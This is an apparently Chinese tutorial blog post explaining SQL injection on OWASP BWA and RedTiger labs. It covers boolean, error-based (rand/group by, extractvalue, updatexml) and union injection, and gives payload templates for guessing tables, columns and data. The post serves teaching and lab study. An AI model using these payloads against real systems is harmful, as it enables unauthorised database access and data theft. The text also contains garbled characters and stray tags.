实习期间的主要工做是研究 WEB 安全,刚开始的时候,研究的主要是 SQL 注入,由于以前没有搞过安全,全部费了好长一段时间对 SQL 注入基本知识进行了解。这篇文章并非什么很深刻的技术博客,或许应该叫它‘ SQL注入扫盲 ’。php
SQL Injection 就是经过把恶意的 SQL 命令插入到 Web 表单让服务器执行,最终达到欺骗服务器或数据库执行恶意的 SQL 命令。mysql
学习 SQL 注入,首先要搭一个靶机环境,我使用的是 OWASP BWA,感兴趣的能够去官网下载一个安装,除了 SQL 注入,不少靶机环境均可以在 BWA 中找到,它专门为 OWASP ZAP 渗透工具设计的。git
$id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result);
这是一个很简单的 PHP代码,从前台得到 id
的值,交给数据库来执行,把结果返回给前台。github
好比咱们在 OWASP 里输入 id = 1
,点击 Submit,返回结果以下:sql
稍微懂一点后台或者数据库的人都知道,上面的那段代码是有严重问题的,没有对 id 的值进行有效性、合法性判断。也就是说,咱们在 submit 输入框输入的如何内容都会被提交给数据库执行,好比在输入框输入1' or '1'='1
,执行就会变成:数据库
//原先要在数据库中执行的命令 SELECT first_name, last_name FROM users WHERE user_id = '1' //变成 SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'
注意一下单引号,这是 SQL 注入中很是重要的一个地方,因此注入代码的最后要补充一个 '1'='1
让单引号闭合。后端
因为 or 的执行,会把数据库表 users 中的全部内容显示出来,安全
下面对三种主要的注入类型进行介绍。服务器
首先不得不讲SQL中的AND和OR
AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
AND:返回第一个条件和第二个条件都成立的记录。
OR:返回知足第一个条件或第二个条件的记录。
AND和OR即为集合论中的交集和并集。
下面是一个数据库的查询内容。markdown
mysql> select * from students; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)
1)
mysql> select * from students where TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)
2)
mysql> select * from students where FALSE ; Empty set (0.00 sec)
3)
mysql> SELECT * from students where id = 10056 and TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | +-------+-------+-----+ 1 row in set (0.00 sec)
4)
mysql> select * from students where id = 10056 and FALSE ; Empty set (0.00 sec)
5)
mysql> selcet * from students where id = 10056 or TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)
6)
mysql> select * from students where id = 10056 or FALSE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | +-------+-------+-----+ 1 row in set (0.00 sec)
会发现and 1=1 , and 1=2 便是 and TRUE , and FALSE 的变种。
这即是最基础的boolean注入,以此为基础你能够自由组合语句。
字典爆破流
and exists(select * from ?) //?为猜想的表名 and exists(select ? from x) //?为猜想的列名
截取二分流
and (length((select schema_name from information_schema.schemata limit 1))>?) //判断数据库名的长度 and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?') and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?') //利用二分法判断第一个字符
根据前面的介绍,咱们知道,对于基于Boolean-based的注入,必需要有一个能够正常访问的地址,好比http: //redtiger.labs.overthewire.org/level4.php?id=1 是一个能够正常访问的记录,说明id=1的记录是存在的,下面的都是基于这个进一步猜想。先来判断一个关键字keyword的长度,在后面构造id=1 and (select length(keyword) from table)=1,从服务器咱们会获得一个返回值,若是和先前的返回值不同,说明and后面的(select length(keyword) from table)=1返回false,keyword的长度不等于1。继续构造直到id=1 and (select length(keyword) from table)=15返回true,说明keyword的长度为15。
为何咱们刚开始必定要找一个已经存在的id,其实这主要是为了构造一个为真的状况。Boolean-based就是利用查询结果为真和为假时的不一样响应,经过不断猜想来找到本身想要的东西。
对于keyword的值,mysql数据库可使用substr(string, start, length)函数,截取string从第start位开始的length个字符串id=1 and (select substr(keyword,1,1) from table) ='A',依此类推,就能够得到keyword的在数据库中的值。
Boolean-based的效率很低,须要多个请求才能肯定一个值,尽管这种代价能够经过脚原本完成,在有选择的状况下,咱们会优先选择其余方式。
基于错误回显的sql注入就是经过sql语句的矛盾性来使数据被回显到页面上。
所用到的函数
count() 统计元祖的个数(至关于求和) 如select count(*) from information_schema.tables; rand()用于产生一个0~1的随机数 floor()向下取整 group by 依据咱们想要的规矩对结果进行分组 concat将符合条件的同一列中的不一样行数据拼接,以逗号隔开
第一种: 基于 rand() 与 group by 的错误
利用group by part of rand() returns duplicate key error这个bug,关于rand()函数与group by 在mysql中的错误报告以下:
**RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.**
这个bug会爆出duplicate key这个错误,而后顺便就把数据偷到了。
公式:username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1
第二种: XPATH爆信息
这里主要用到的是ExtractValue()和UpdateXML()这2个函数,因为mysql 5.1之后提供了内置的XML文件解析和函数,因此这种注入只能用于5.1版本之后使用
查看sql手册
语法:EXTRACTVALUE (XML_document, XPath_string); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,若是不了解Xpath语法,能够在网上查找教程。
做用:从目标XML中返回包含所查询值的字符串
语法:UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,若是不了解Xpath语法,能够在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据
做用:改变文档中符合条件的节点的值
如今就很清楚了,咱们只须要不知足XPath_string(Xpath格式)就能够了,可是因为这个方法只能爆出32位,因此能够结合mid来使用
公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and '1'='1
公式2:username=admin' and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and '1'='1
基于错误回显的注入,总结起来就一句话,经过sql语句的矛盾性来使数据被回显到页面上,但有时候局限于回显只能回显一条,致使基于错误的注入偷数据的效率并无那么高,但相对于布尔注入已经提升了一个档次。
要了解union query injection,首先得了解union查询,union用于合并两个或更多个select的结果集。好比说
SELECT username, password FROM account;
结果是
admin 123456
SELECT id, title FROM article
的结果是
1 Hello, World
SELECT username, password FROM account UNION SELECT id, title FROM article
的结果就是
admin 123456
1 Hello, World
比起多重嵌套的boolean注入,union注入相对轻松。由于,union注入能够直接返回信息而不是布尔值。前面的介绍看出把union会把结果拼拼到一块儿,全部要让union前面的查询返回一个空值,通常采用相似于id=-1的方式。
1)
mysql> select name from students where id = -1 union select schema_name from information_schema.schemata; //数据库名 +--------------------+ | name | +--------------------+ | information_schema | | mysql | | performance_schema | | rumRaisin | | t3st | | test | +--------------------+ 6 rows in set (0.00 sec)
2)
mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st'; //表名 +----------+ | name | +----------+ | master | | students | +----------+ 2 rows in set (0.00 sec)
3)
mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ; //列名 +------+ | name | +------+ | id | | name | | age | +------+ 3 rows in set (0.00 sec)
UNION 操做符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有类似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
举个例子,还以最开始的 OWASP 为基础,返回了两个值分别是 first_name 和 sur_name,可想而知,服务器在返回数据库的查询结果时,就会把结果中的第一个值和第二个值传给 first_name 和 sur_name,多了或少了,都会引发报错。
因此你若是想要使用union查询来进行注入,你首先要猜想后端查询语句中查询了多少列,哪些列能够回显给用户。
猜想列数
-1 union select 1 -1 union select 1,2 -1 union select 1,2,3 //直到页面正常显示
好比这条语句
-1 UNION SELECT 1,2,3,4
若是显示的值为3和4,表示该查询结果中有四列,而且第三列和第四列是有用的。则相应的构造union语句以下
-1 UNION SELECT 1,2,username,password FROM table
SQL 注入大概有5种,还有两种分别是 Stacked_queries(基于堆栈)和 Time-based blind(时间延迟),堆栈就是多语句查询,用 ‘;’ 把语句隔开,和 union 同样;时间延迟就是利用 sleep() 函数让数据库延迟执行,偷数据的速度很慢。(还有一个第六种,内联注入,但和前面涉及的内容有所重叠,就不单独来讨论了)写这篇文章的时候,也是刚刚接触 markdown 的时候,不少格式都不规范,好比中英文之间半角的空格都没有,你们就且看且无视吧。
引用说明,本身以前研究 SQL 注入的时候,也是一点一点摸索的,本博客的大部份内容是来自于公司内网的服务器中(公司按期考核,看你都干了什么)。当时由于是内网,就没有作引用,如今想找到这些引用的文章也很困难,见谅。
欢迎来个人博客交流。